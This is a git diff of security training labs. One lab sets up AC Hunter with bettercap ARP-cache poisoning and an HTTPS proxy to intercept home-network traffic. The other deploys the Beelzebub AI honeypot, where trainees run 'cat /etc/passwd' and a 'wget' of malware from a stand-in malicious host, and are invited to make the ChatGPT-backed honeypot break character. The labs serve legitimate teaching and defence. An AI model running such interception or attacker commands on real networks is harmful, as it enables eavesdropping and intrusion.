diff --git a/DeepBlueCLI-master.zip b/DeepBlueCLI-master.zip deleted file mode 100644 index a10620eb..00000000 Binary files a/DeepBlueCLI-master.zip and /dev/null differ diff --git a/IntroClassFiles/BHIS_Tribe_of_companies_wallpaper_01.png b/IntroClassFiles/BHIS_Tribe_of_companies_wallpaper_01.png deleted file mode 100644 index 3a38fd5a..00000000 Binary files a/IntroClassFiles/BHIS_Tribe_of_companies_wallpaper_01.png and /dev/null differ diff --git a/IntroClassFiles/GraphRunner_Outputs (1).zip b/IntroClassFiles/GraphRunner_Outputs (1).zip deleted file mode 100644 index 0c0aa037..00000000 Binary files a/IntroClassFiles/GraphRunner_Outputs (1).zip and /dev/null differ diff --git a/IntroClassFiles/SampleReports (1).zip b/IntroClassFiles/SampleReports (1).zip deleted file mode 100644 index a0d0bab2..00000000 Binary files a/IntroClassFiles/SampleReports (1).zip and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCE/ACHunterCE.md b/IntroClassFiles/Tools/IntroClass/ACHCE/ACHunterCE.md index 047fad1b..f1ae33ef 100644 --- a/IntroClassFiles/Tools/IntroClass/ACHCE/ACHunterCE.md +++ b/IntroClassFiles/Tools/IntroClass/ACHCE/ACHunterCE.md @@ -1,52 +1,54 @@ ![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) +# Overview + Setup In this lab we are going to set up the Community Edition of AC Hunter so it can intercept and inspect traffic on a home network without the need for expensive managed switches with SPAN or TAP ports. This is done through the amazing power of ARP cache poisoning. -Step 0, Download AC Hunter Community Edition Here: - -https://www.activecountermeasures.com/ac-hunter-community-edition/download/ +- Download AC Hunter Community Edition [Here](https://www.activecountermeasures.com/ac-hunter-community-edition/download/) ![](attachments/ACHCE_Download.png) ![](attachments/ClickDownload.png) ------------------------------------------ -This next section will walk through how to launch the AC Hunter VM using VMware. +----------------------------------------- + +

+ +This next section will walk through how to launch the **AC Hunter VM** using **VMware**. -Start by opening file explorer and navigating to your downloads directory. +- Start by opening **file explorer** and navigating to your downloads directory. ![](attachments/OpeningFileExplorer.png) ![](attachments/navigatetodownloads.png) -You should see the AC Hunter .zip archive that we just downloaded. We need to extract this. Click on the .zip archive and hit `Extract all` at the top of the screen. +- You should see the `AC-Hunter.zip` archive that we just downloaded. We need to extract this. Click on the `.zip` archive and hit `Extract all` at the top of the screen. ![](attachments/extractall.png) -When the pop-up appears, click extract. This will extract the .zip archive to the downloads folder. +- When the pop-up appears, click **extract**. This will extract the `.zip` archive to the downloads folder. ![](attachments/extract.png) -Next, open your VMware application. In this instance, we use VMware Workstation. Once opened, first make sure you have the home tab selected. Then, click `Open a Virtual Machine`. +- Next, open your VMware application. In this instance, we use **VMware Workstation**. Once opened, first make sure you have the home tab selected. Then, click `Open a Virtual Machine`. ![](attachments/openvmware.png) -Once again, navigate to your downloads folder, and then into the extracted `AC-Hunter-v...` folder. If done correctly, you should only see one file that can be selected. Go ahead and double click on it. +- Once again, navigate to your downloads folder, and then into the extracted `AC-Hunter-v...` folder. If done correctly, you should only see one file that can be selected. Go ahead and double click on it. ![](attachments/openfolder.png) ![](attachments/doubleclick.png) -After doing this, you should see a new tab appear shown in the screenshot below. +- After doing this, you should see a new tab appear shown in the screenshot below. ![](attachments/newtab.png) -------------------------------------------- -Now that we have successfully loaded the AC Hunter VM into our VMware application, we need to do two things. +Now that we have successfully loaded the **AC Hunter VM** into our VMware application, we need to change the network settings. -1. The first thing we will need to do is to change VM to Bridged networking from NAT. This can be done in the settings for the VM which can be accessed via VM > Settings > Network Adapter +- What we will need to do is to change **VM** to `Bridged networking` from **NAT**. This can be done in the settings for the VM which can be accessed via `VM` > `Settings` > `Network Adapter` ![](attachments/editsettings.png) @@ -54,44 +56,66 @@ Now that we have successfully loaded the AC Hunter VM into our VMware applicatio ![](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/Tools/IntroClass/ACHCE/VMWare_Bridge.png) -2. Go ahead and hit `Power on this virtual machine`. - When the VM is done booting it is essential you copy password before login!!!! It is displayed in the logon banner at first boot and will go away once it is used. +- Go ahead and hit `Power on this virtual machine`. +>[!IMPORTANT] +> When the VM is done booting it is essential you **copy password** before login!!!! It is displayed in the logon banner at **first boot** and will go away once it is used. +> +> **User ID** is `dataimport` -User ID is dataimport - -5. Change the default password after initial login by running the following: -
passwd
+- Change the **default password** after initial login by running the following: +```bash +passwd +``` -6. Next, get your IP Address by running the following command: +- Next, get your **IP Address** by running the following command: -
ip addr show dev ens33 | grep inet
+```bash +ip addr show dev ens33 | grep inet +``` ![](attachments/IP.png) -5. Now lets open Terminal on Windows and open two SSH sessions. I like to have one as root and another as dataimport for the install. +- Now lets open Terminal on Windows and open two **SSH sessions**. I like to have one as **root** and another as **dataimport** for the install. + +
From Windows Terminal. -Terminal 1: +- **Terminal 1:** + +```bash +ssh dataimport@YourACHCE_IPADDRESS +``` -
ssh dataimport@YourACHCE_IPADDRESS
+- **Terminal 2:** -Terminal 2: +```bash +ssh dataimport@YOURACHCE_IPADDRESS +``` -`ssh dataimport@YOURACHCE_IPADDRESS` +```bash +sudo su - +``` -`sudo su -` +
-6. As dataimport, pull down and install zeek +- As **dataimport**, pull down and install **zeek** -`sudo wget -O /usr/local/bin/zeek https://raw.githubusercontent.com/activecm/docker-zeek/master/zeek` +```bash +sudo wget -O /usr/local/bin/zeek https://raw.githubusercontent.com/activecm/docker-zeek/master/zeek +``` -`sudo chmod +x /usr/local/bin/zeek` +```bash +sudo chmod +x /usr/local/bin/zeek +``` -`zeek pull` +```bash +zeek pull +``` -7. Choose your ens adaptor!! +>[!IMPORTANT] +> Choose your **ens adaptor**!! It should look like it does below: @@ -109,15 +133,22 @@ It should look like it does below: ``` -`zeek start` +- Start **zeek** +```bash +zeek start +``` -8. Add a password for the web user for AC Hunter +- Add a password for the web user for AC Hunter -`manage_web_user.sh reset -u 'welcome@activecountermeasures.com'` +```bash +manage_web_user.sh reset -u 'welcome@activecountermeasures.com' +``` It should look like it does below: -```dataimport@achce:~$ manage_web_user.sh reset -u 'welcome@activecountermeasures.com' +``` +dataimport@achce:~$ manage_web_user.sh reset -u 'welcome@activecountermeasures.com' + Please enter a password Please re-enter to confirm: achunter_db is up-to-date @@ -134,23 +165,34 @@ dataimport@achce:~$ 9. Get the proper scripts to connect the Zeek Sensor -`curl -fsSL https://raw.githubusercontent.com/activecm/zeek-log-transport/master/connect_sensor.sh -O` +```bash +curl -fsSL https://raw.githubusercontent.com/activecm/zeek-log-transport/master/connect_sensor.sh -O +``` -`curl -fsSL https://raw.githubusercontent.com/activecm/shell-lib/master/acmlib.sh -O` +```bash +curl -fsSL https://raw.githubusercontent.com/activecm/shell-lib/master/acmlib.sh -O +``` -`curl -fsSL https://raw.githubusercontent.com/activecm/zeek-log-transport/master/zeek_log_transport.sh -O` +```bash +curl -fsSL https://raw.githubusercontent.com/activecm/zeek-log-transport/master/zeek_log_transport.sh -O +``` -10. Get your hostname +- Get your **hostname** -`hostname` +```bash +hostname +``` -11. run the script with your ac-hunter system hostname: +- Run the script with your **ac-hunter** system **hostname**: -`bash connect_sensor.sh achce` +```bash +bash connect_sensor.sh achce +``` It should look like it does below: -```================ Creating a new RSA key with no passphrase ================ +``` +================ Creating a new RSA key with no passphrase ================ Generating public/private rsa key pair. Your identification has been saved in /home/dataimport/.ssh/id_rsa_dataimport Your public key has been saved in /home/dataimport/.ssh/id_rsa_dataimport.pub @@ -178,35 +220,54 @@ dataimport@achce's password: ``` -12. Install bettercap as root!!! Please switch to the other Terminal where you are running as root. +- Install **bettercap** as **root**!!! Please switch to the other Terminal where you are running as root. -`docker pull bettercap/bettercap` +>[!IMPORTANT] +> Make sure you are in the right **terminal** -`docker run -it --privileged --net=host bettercap/bettercap -eval "caplets.update; ui.update; q"` +```bash +docker pull bettercap/bettercap +``` + +```bash +docker run -it --privileged --net=host bettercap/bettercap -eval "caplets.update; ui.update; q" +``` -13. Install mlocate +- Install **mlocate** -`apt install mlocate` +>[!NOTE] +> From the **kali** terminal -14. Updated the database +```bash +apt install mlocate +``` + +- Updated the **database** -`updatedb` +```bash +updatedb +``` -15. Search for the config files +- Search for the **config files** -`locate https-ui.cap` +```bash +locate https-ui.cap +``` -16. Edit the https-ui.cap file: +- Edit the `https-ui.cap` file: Please note your path will be different!!!!! -`vi /var/lib/docker/overlay2/5146307503ac713827d090d51b88a622af068579060d8e1f1d97cda56415e018/diff/app/https-ui.cap` +```bash +vi /var/lib/docker/overlay2/5146307503ac713827d090d51b88a622af068579060d8e1f1d97cda56415e018/diff/app/https-ui.cap +``` -Change the line set https.server.port to 4443 +- Change the line set `https.server.port` to **4443** It should look like it does below: -```# api listening on https://0.0.0.0:8083/ and ui on https://0.0.0.0 +``` +# api listening on https://0.0.0.0:8083/ and ui on https://0.0.0.0 set api.rest.address 0.0.0.0 set api.rest.port 8083 set https.server.address 0.0.0.0 @@ -230,19 +291,21 @@ https.server on ``` -log out of vi with esc :wq! +- Log out of vi with by pressing `esc` and **typing** `:wq!` and pressing `Enter` -###Please note, there seems to be a weird bug in Bettercap where it updates the port to 4444443. If you get a bind error, just re-edit the above file to set the port to 443. +### Please note, there seems to be a weird bug in Bettercap where it updates the port to 4444443. If you get a bind error, just re-edit the above file to set the port to 443. -17. Start bettercap - - -`docker run -it --privileged --net=host bettercap/bettercap -caplet https-ui` +- Start **bettercap** +```bash +docker run -it --privileged --net=host bettercap/bettercap -caplet https-ui +``` -18. Show the network +- Show the **network** -`net.show` +```bash +net.show +``` ``` @@ -263,9 +326,11 @@ log out of vi with esc :wq! ``` -19. Show help for options! +- Show **help** for **options**! -`help` +```bash +help +``` It should look like it does below: @@ -323,17 +388,35 @@ Modules ``` -20. Start the poison +- Start the **poison** + +```bash +arp.spoof on +``` + +- Start the https proxy + +```bash +https.proxy on +``` + +Now, surf to your **AC-Hunter system**!!! + +`https://` + + +*** +Continuing the course?
[Next Lab](https://github.com/strandjs/IntroLabs/tree/master/IntroClassFiles/Tools/IntroClass/PoisoningtheWellIR-main) -`arp.spoof on` +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/FirewallLog/FirewallLog.md) -21. Start the https proxy +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) -`https.proxy on` +***Finished with the Labs?*** -Now, surf to your AC-Hunter system!!! +Please be sure to destroy the lab environment! -https:// +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) +--- diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/ACHunterCE.md b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/ACHunterCE.md new file mode 100644 index 00000000..02cfcbbe --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/ACHunterCE.md @@ -0,0 +1,423 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Overview + Setup + +In this lab we are going to set up the Community Edition of AC Hunter so it can intercept and inspect traffic on a home network without the need for expensive managed switches with SPAN or TAP ports. This is done through the amazing power of ARP cache poisoning. + +- Download AC Hunter Community Edition [Here](https://www.activecountermeasures.com/ac-hunter-community-edition/download/) + +![](attachments/ACHCE_Download.png) + +![](attachments/ClickDownload.png) + +----------------------------------------- + +

+ +This next section will walk through how to launch the **AC Hunter VM** using **VMware**. + +- Start by opening **file explorer** and navigating to your downloads directory. + +OpenFileExplorer + + +![](attachments/navigatetodownloads.png) + +- You should see the `AC-Hunter.zip` archive that we just downloaded. We need to extract this. Click on the `.zip` archive and hit `Extract all` at the top of the screen. + +![](attachments/extractall.png) + +- When the pop-up appears, click **extract**. This will extract the `.zip` archive to the downloads folder. + +![](attachments/extract.png) + +- Next, open your VMware application. In this instance, we use **VMware Workstation**. Once opened, first make sure you have the home tab selected. Then, click `Open a Virtual Machine`. + +![](attachments/openvmware.png) + +- Once again, navigate to your downloads folder, and then into the extracted `AC-Hunter-v...` folder. If done correctly, you should only see one file that can be selected. Go ahead and double click on it. + +![](attachments/openfolder.png) + +![](attachments/doubleclick.png) + +- After doing this, you should see a new tab appear shown in the screenshot below. + +![](attachments/newtab.png) + +-------------------------------------------- + +Now that we have successfully loaded the **AC Hunter VM** into our VMware application, we need to change the network settings. + +- What we will need to do is to change **VM** to `Bridged networking` from **NAT**. This can be done in the settings for the VM which can be accessed via `VM` > `Settings` > `Network Adapter` + +![](attachments/editsettings.png) + +![](attachments/networkadapter.png) + +![](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/Tools/IntroClass/ACHCE/VMWare_Bridge.png) + +- Go ahead and hit `Power on this virtual machine`. + +>[!IMPORTANT] +> When the VM is done booting it is essential you **copy password** before login!!!! It is displayed in the logon banner at **first boot** and will go away once it is used. +> +> **User ID** is `dataimport` + +- Change the **default password** after initial login by running the following: +```bash +passwd +``` + +- Next, get your **IP Address** by running the following command: + +```bash +ip addr show dev ens33 | grep inet +``` + +![](attachments/IP.png) + +- Now lets open Terminal on Windows and open two **SSH sessions**. I like to have one as **root** and another as **dataimport** for the install. + +
+ +From Windows Terminal. + +- **Terminal 1:** + +```bash +ssh dataimport@YourACHCE_IPADDRESS +``` + +- **Terminal 2:** + +```bash +ssh dataimport@YOURACHCE_IPADDRESS +``` + +```bash +sudo su - +``` + +
+ +- As **dataimport**, pull down and install **zeek** + +```bash +sudo wget -O /usr/local/bin/zeek https://raw.githubusercontent.com/activecm/docker-zeek/master/zeek +``` + +```bash +sudo chmod +x /usr/local/bin/zeek +``` + +```bash +zeek pull +``` + +>[!IMPORTANT] +> Choose your **ens adaptor**!! + +It should look like it does below: + +``` +? Choose your capture interface(s): [Use arrows to move, space to select, type to filter, ? for more help] + [ ] br-d933eaf5d433 UP 172.18.0.1 fe80::42:4cff:fea7:3586 + [ ] docker0 UP 172.17.0.1 +> [ ] ens33 UP 192.168.3.122 fe80::20c:29ff:fec7:4f8 + [ ] lo UP 127.0.0.1 ::1 + [ ] veth07f3680 UP - fe80::6c66:1dff:fe22:2de5 + [ ] veth6f1a6c9 UP - fe80::5428:54ff:fe62:b8a0 + [ ] veth99c741a UP - fe80::1ccd:2aff:fee8:fa3e + [ ] vethb857d1b UP - fe80::60d4:3ff:fe88:9500 + [ ] vethed90b7f UP - fe80::44ef:6fff:fe64:1c26 + + ``` + +- Start **zeek** +```bash +zeek start +``` + +- Add a password for the web user for AC Hunter + +```bash +manage_web_user.sh reset -u 'welcome@activecountermeasures.com' +``` + +It should look like it does below: + +``` +dataimport@achce:~$ manage_web_user.sh reset -u 'welcome@activecountermeasures.com' + +Please enter a password +Please re-enter to confirm: +achunter_db is up-to-date +MongoDB shell version v4.2.23 +connecting to: mongodb://127.0.0.1:27017/users?authSource=admin&compressors=disabled&gssapiServiceName=mongodb +Implicit session: session { "id" : UUID("72e4d3b5-350b-489d-ae29-1f10660648ce") } +MongoDB server version: 4.2.23 +WriteResult({ "nRemoved" : 1 }) +Creating achunter_auth_run ... done +User created successfully. +{'email': 'welcome@activecountermeasures.com', 'password': '****', 'active': True} +dataimport@achce:~$ +``` + +9. Get the proper scripts to connect the Zeek Sensor + +```bash +curl -fsSL https://raw.githubusercontent.com/activecm/zeek-log-transport/master/connect_sensor.sh -O +``` + +```bash +curl -fsSL https://raw.githubusercontent.com/activecm/shell-lib/master/acmlib.sh -O +``` + +```bash +curl -fsSL https://raw.githubusercontent.com/activecm/zeek-log-transport/master/zeek_log_transport.sh -O +``` + +- Get your **hostname** + +```bash +hostname +``` + +- Run the script with your **ac-hunter** system **hostname**: + +```bash +bash connect_sensor.sh achce +``` + +It should look like it does below: + +``` +================ Creating a new RSA key with no passphrase ================ +Generating public/private rsa key pair. +Your identification has been saved in /home/dataimport/.ssh/id_rsa_dataimport +Your public key has been saved in /home/dataimport/.ssh/id_rsa_dataimport.pub +The key fingerprint is: +SHA256:oKsPovlMN0mYiwA7Q4ap/tSKawXdvU94HdhOqs+KR08 dataimport@achce +The key's randomart image is: ++---[RSA 2048]----+ +| | +|.. | +|+o. . o o | +|=o + o o . + | +|* + o S = . | +|o+ +.o + E o | +|o.=.=.. B | +|.*++...o.o | +|++=+....oo | ++----[SHA256]-----+ + +================ Transferring the RSA key to dataimport@achce - please provide the password when prompted. You may be prompted to accept the ssh host key. ================ +The authenticity of host 'achce (127.0.1.1)' can't be established. +ECDSA key fingerprint is SHA256:gh75DHZlG9aFp3JHgD6be74O6jH2ueASZX3aLcE7STg. +Are you sure you want to continue connecting (yes/no/[fingerprint])? yes +Warning: Permanently added 'achce' (ECDSA) to the list of known hosts. +dataimport@achce's password: + +``` + +- Install **bettercap** as **root**!!! Please switch to the other Terminal where you are running as root. + +>[!IMPORTANT] +> Make sure you are in the right **terminal** + +```bash +docker pull bettercap/bettercap +``` + +```bash +docker run -it --privileged --net=host bettercap/bettercap -eval "caplets.update; ui.update; q" +``` + +- Install **mlocate** + +>[!NOTE] +> From the **kali** terminal + +```bash +apt install mlocate +``` + +- Updated the **database** + +```bash +updatedb +``` + +- Search for the **config files** + +```bash +locate https-ui.cap +``` + +- Edit the `https-ui.cap` file: + +Please note your path will be different!!!!! + +```bash +vi /var/lib/docker/overlay2/5146307503ac713827d090d51b88a622af068579060d8e1f1d97cda56415e018/diff/app/https-ui.cap +``` + +- Change the line set `https.server.port` to **4443** + +It should look like it does below: + +``` +# api listening on https://0.0.0.0:8083/ and ui on https://0.0.0.0 +set api.rest.address 0.0.0.0 +set api.rest.port 8083 +set https.server.address 0.0.0.0 +set https.server.port 4443 + +# make sure both use the same https certificate so api requests won't fail +set https.server.certificate ~/.bettercap-https.cert.pem +set https.server.key ~/.bettercap-https.key.pem +set api.rest.certificate ~/.bettercap-https.cert.pem +set api.rest.key ~/.bettercap-https.key.pem +# default installation path of the ui +set https.server.path /usr/local/share/bettercap/ui + +# !!! CHANGE THESE !!! +set api.rest.username user +set api.rest.password pass + +# go! +api.rest on +https.server on +``` + + +- Log out of vi with by pressing `esc` and **typing** `:wq!` and pressing `Enter` + +### Please note, there seems to be a weird bug in Bettercap where it updates the port to 4444443. If you get a bind error, just re-edit the above file to set the port to 443. + +- Start **bettercap** + +```bash +docker run -it --privileged --net=host bettercap/bettercap -caplet https-ui +``` + +- Show the **network** + +```bash +net.show +``` + + +``` + +192.168.3.0/24 > 192.168.3.116 » net.show + +┌───────────────┬───────────────────┬─────────────────┬───────────────────────┬────────┬────────┬──────────┐ +│ IP ▴ │ MAC │ Name │ Vendor │ Sent │ Recvd │ Seen │ +├───────────────┼───────────────────┼─────────────────┼───────────────────────┼────────┼────────┼──────────┤ +│ 192.168.3.116 │ 00:0c:29:8e:f6:79 │ ens33 │ VMware, Inc. │ 0 B │ 0 B │ 15:25:44 │ +│ 192.168.3.1 │ a0:21:b7:7b:0f:59 │ gateway │ Netgear │ 11 kB │ 45 kB │ 15:25:44 │ +│ │ │ │ │ │ │ │ +│ 192.168.3.132 │ f0:2f:74:d0:e7:e8 │ DESKTOP-92LVFPS │ ASUSTek COMPUTER INC. │ 364 kB │ 587 kB │ 15:29:25 │ +└───────────────┴───────────────────┴─────────────────┴───────────────────────┴────────┴────────┴──────────┘ + +↑ 6.7 kB / ↓ 962 kB / 3748 pkts + + +``` + +- Show **help** for **options**! + +```bash +help +``` + +It should look like it does below: + +``` + +192.168.3.0/24 > 192.168.3.116 » help + + help MODULE : List available commands or show module specific help if no module name is provided. + active : Show information about active modules. + quit : Close the session and exit. + sleep SECONDS : Sleep for the given amount of seconds. + get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard. + set NAME VALUE : Set the VALUE of variable NAME. + read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE. + clear : Clear the screen. + include CAPLET : Load and run this caplet in the current session. + ! COMMAND : Execute a shell command and print its output. + alias MAC NAME : Assign an alias to a given endpoint given its MAC address. + +Modules + + any.proxy > not running + api.rest > running + arp.spoof > running + ble.recon > not running + c2 > not running + caplets > not running + dhcp6.spoof > not running + dns.spoof > not running + events.stream > running + gps > not running + hid > not running + http.proxy > not running + http.server > not running + https.proxy > not running + https.server > running + mac.changer > not running + mdns.server > not running + mysql.server > not running + ndp.spoof > not running + net.probe > not running + net.recon > running + net.sniff > not running + packet.proxy > not running + syn.scan > not running + tcp.proxy > not running + ticker > not running + ui > not running + update > not running + wifi > not running + wol > not running + + + + +``` + +- Start the **poison** + +```bash +arp.spoof on +``` + +- Start the https proxy + +```bash +https.proxy on +``` + +Now, surf to your **AC-Hunter system**!!! + +`https://` + + +*** +Continuing the course?
[Next Lab](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/Tools/IntroClass/PingCastle.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/WebTesting.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ACHCE_Download.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ACHCE_Download.png new file mode 100644 index 00000000..5d09bfb3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ACHCE_Download.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ClickDownload.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ClickDownload.png new file mode 100644 index 00000000..4e0c3a72 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ClickDownload.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/IP.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/IP.png new file mode 100644 index 00000000..7afa7c14 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/IP.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ImagesHere b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ImagesHere new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/ImagesHere @@ -0,0 +1 @@ + diff --git a/IntroClassFiles/Tools/IntroClass/md/images/OpeningFileExplorer.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/OpeningFileExplorer.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/md/images/OpeningFileExplorer.png rename to IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/OpeningFileExplorer.png diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/Password2.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/Password2.png new file mode 100644 index 00000000..16f649f8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/Password2.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/VMWare_Bridge.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/VMWare_Bridge.png new file mode 100644 index 00000000..75d64bd9 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/VMWare_Bridge.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/doubleclick.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/doubleclick.png new file mode 100644 index 00000000..2078e4c0 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/doubleclick.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/editsettings.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/editsettings.png new file mode 100644 index 00000000..bd8d1f15 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/editsettings.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/extract.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/extract.png new file mode 100644 index 00000000..3b2d6fa9 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/extract.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/extractall.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/extractall.png new file mode 100644 index 00000000..b31f2d0f Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/extractall.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/navigatetodownloads.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/navigatetodownloads.png new file mode 100644 index 00000000..e2c3fe32 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/navigatetodownloads.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/networkadapter.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/networkadapter.png new file mode 100644 index 00000000..a826a01e Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/networkadapter.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/newtab.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/newtab.png new file mode 100644 index 00000000..e9fcca15 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/newtab.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/openfolder.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/openfolder.png new file mode 100644 index 00000000..5590d230 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/openfolder.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/openvmware.png b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/openvmware.png new file mode 100644 index 00000000..77312fc6 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ACHCEIntroClass/attachments/openvmware.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Beelzebub.md b/IntroClassFiles/Tools/IntroClass/ADHD/Beelzebub.md new file mode 100644 index 00000000..5f12bd3a --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Beelzebub.md @@ -0,0 +1,120 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Beelzebub + +# Ubuntu VM + +Beelzebub is an advanced honeypot framework designed to provide a highly secure environment for detecting and analyzing cyber attacks. It offers a low code approach for easy implementation and uses AI to mimic the behavior of a high-interaction honeypot + +>[!IMPORTANT] +> +>You can find the original GitHub of at [Beelzebub Repo](https://github.com/mariocandela/beelzebub) + +### Get the ChatGPT Api Key +- Go to [ChatGPT](https://chatgpt.com/) and create an account if you don’t have one +- Make sure you have credits or a payment method at [Billing Setting](https://platform.openai.com/settings/organization/billing/overview) +- Go to [API Keys](https://platform.openai.com/api-keys) and create a new key +- Save this key as you will only see it once! + +### Deployment +- Make sure you are into **~/ADCD/beelzebub/** + +```bash +cd ~/ADCD/beelzebub/ +``` + +```bash +nano docker-compose.yml +``` + - Put your key here at `OPEN_AI_SECRET_KEY: ` +image + + +- Also comment the **Default SSH Mapping**(ssh 22 port) by putting a `#` anywhere before it in the same line +image + +- Save and leave the editor with `Ctrl + X` + `Y` + `Enter` + +```bash +cd configurations/services/ +``` +```bash +mv ./ssh-22.yaml ~ +``` +```bash +nano ./ssh-2222.yaml +``` + - Add your key with double quotes around it like `OPENAI_API_KEY: "your_api_key_here"` + +image + + - Save and leave the editor with `Ctrl + X` + `Y` + `Enter` + +```bash +cd ~/ADCD/beelzebub/ +``` +```bash +docker-compose build +``` +```bash +docker-compose up -d +``` + +# Try it +Connect to it like this: + +```bash +ssh -p 2222 root@127.0.0.1 +``` +- use password "**1234**" +- Try using any commands like **ls** or **id** +image + +Everything you see is AI generated, and that's what an attacker would see + +Cool, right? + +- Try running suspicious commands an attacker would use +```bash +uname -a +``` +```bash +cat /etc/passwd +``` +```bash +wget http://malicious.example/malware.sh +``` +```bash +id +``` +Now exit the session to export the logs + +```bash +cd ~/ADCD/beelzebub/ +``` +```bash +docker-compose logs -f +``` +```bash +docker-compose logs > honeypot.log +``` + +Take your time into analyzing the logs and seeing how they are being built + +>[!TIP] +> +>Try to make ChatGPT break character, this method, like anything else in cybersecurity isn't flawless, but it surely tricks hackers and does its job, **to increase Attack Time** + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/HoneyBadger.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/openCanary.md) + +Looking for a different lab?
